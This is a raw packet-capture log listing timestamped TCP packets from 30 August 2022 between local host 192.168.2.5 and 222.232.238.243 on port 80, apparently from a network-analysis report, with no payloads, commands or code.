Aug 30, 2022 15:54:41.302256107 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302278042 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302277088 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302299023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302346945 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302320957 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302424908 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302447081 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302450895 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302469969 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302491903 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302512884 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302540064 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302603960 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302624941 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302647114 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302691936 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302714109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302737951 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302757978 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302822113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302844048 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302866936 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302889109 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302898884 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302911997 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302927971 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.302941084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302969933 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.302972078 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303000927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303033113 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303052902 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303061008 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303076029 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303092957 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303121090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303149939 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303165913 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303180933 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303195000 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303211927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303242922 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303265095 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303292036 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303292990 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303318024 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303325891 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303379059 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303412914 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303436041 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303447962 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303461075 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303488970 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303520918 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303544998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303567886 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303585052 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303587914 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303606987 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303618908 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303648949 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303663969 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303670883 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303693056 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303697109 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.303714037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.303759098 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.304223061 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304260015 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304313898 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.304588079 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304609060 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304637909 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.304708004 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304737091 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304764986 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304786921 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.304795980 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.304812908 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.471198082 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.597657919 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597709894 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597748995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597789049 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597827911 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597841978 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.597867966 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597877026 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.597909927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597949028 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.597955942 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.597989082 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598021030 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598031998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598069906 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598093033 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598109961 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598149061 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598184109 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598187923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598229885 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598251104 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598277092 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598319054 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598340034 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598366022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598407984 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598423958 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598447084 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598485947 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598504066 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598525047 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598565102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598588943 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598606110 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598644972 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598669052 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598684072 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598723888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598742962 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598762035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598800898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598820925 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598839998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598881006 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598912954 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.598922968 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598961115 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.598988056 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599003077 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599042892 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599061966 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599081993 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599119902 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599138021 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599159002 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599199057 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599220991 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599239111 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599298954 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599299908 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599338055 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599404097 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599431038 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599472046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599509001 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599534988 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599549055 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599591017 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599611044 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599630117 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599668026 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599687099 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599708080 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599745035 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599771023 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599785089 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599823952 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599854946 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599863052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599904060 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599922895 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.599942923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.599982023 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600006104 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600023985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600063086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600095034 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600102901 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600145102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600172043 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600183964 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600225925 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600250006 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600310087 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600348949 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600388050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600424051 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600464106 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600387096 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600476980 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600502968 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600533009 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600543022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600584030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600610018 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600625992 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600665092 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600687981 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600706100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600743055 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600775003 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600781918 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600821972 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600856066 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.600862026 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600903034 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600940943 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.600979090 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601021051 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601027966 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601037025 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601059914 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601094007 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601099968 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601140022 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601171970 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601180077 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601222038 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601247072 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601260900 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601300001 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601329088 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601337910 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601377010 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601406097 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601417065 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601455927 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601481915 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601495028 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601536036 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601558924 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.601574898 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.601641893 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603316069 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603343964 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603388071 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603415012 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603429079 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603440046 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603468895 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603477001 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603497982 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603524923 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603533983 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603552103 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603579998 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603595972 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603627920 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603632927 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603656054 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603683949 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603709936 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603712082 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603739977 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603765965 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603766918 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603795052 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603816032 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603821039 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603849888 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603868961 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603876114 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603905916 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603929996 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603934050 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603960991 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.603986025 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.603991032 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604020119 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604046106 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604072094 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604073048 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604100943 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604106903 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604130030 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604156971 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604159117 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604186058 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604212999 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604222059 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604242086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604275942 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604324102 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604351044 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604377985 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604394913 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604454041 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604454041 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604563951 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604638100 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604687929 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604718924 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604767084 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604799032 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604827881 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604854107 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604881048 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604887962 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604914904 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604943037 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604968071 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.604970932 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.604990005 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605001926 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605030060 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605057955 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605060101 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605084896 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605110884 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605113029 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605142117 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605160952 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605169058 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605195999 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605214119 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605222940 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605251074 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605274916 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605278015 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605304956 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605333090 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605334997 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605362892 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605386972 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605390072 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605417967 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605438948 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605446100 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605473995 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605490923 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605503082 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605530024 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605547905 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605556965 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605585098 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605598927 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605611086 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605638027 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605654001 CEST	49728	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:41.605665922 CEST	80	49728	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:41.605694056 CEST	80	49728	222.232.238.243	192.168.2.5
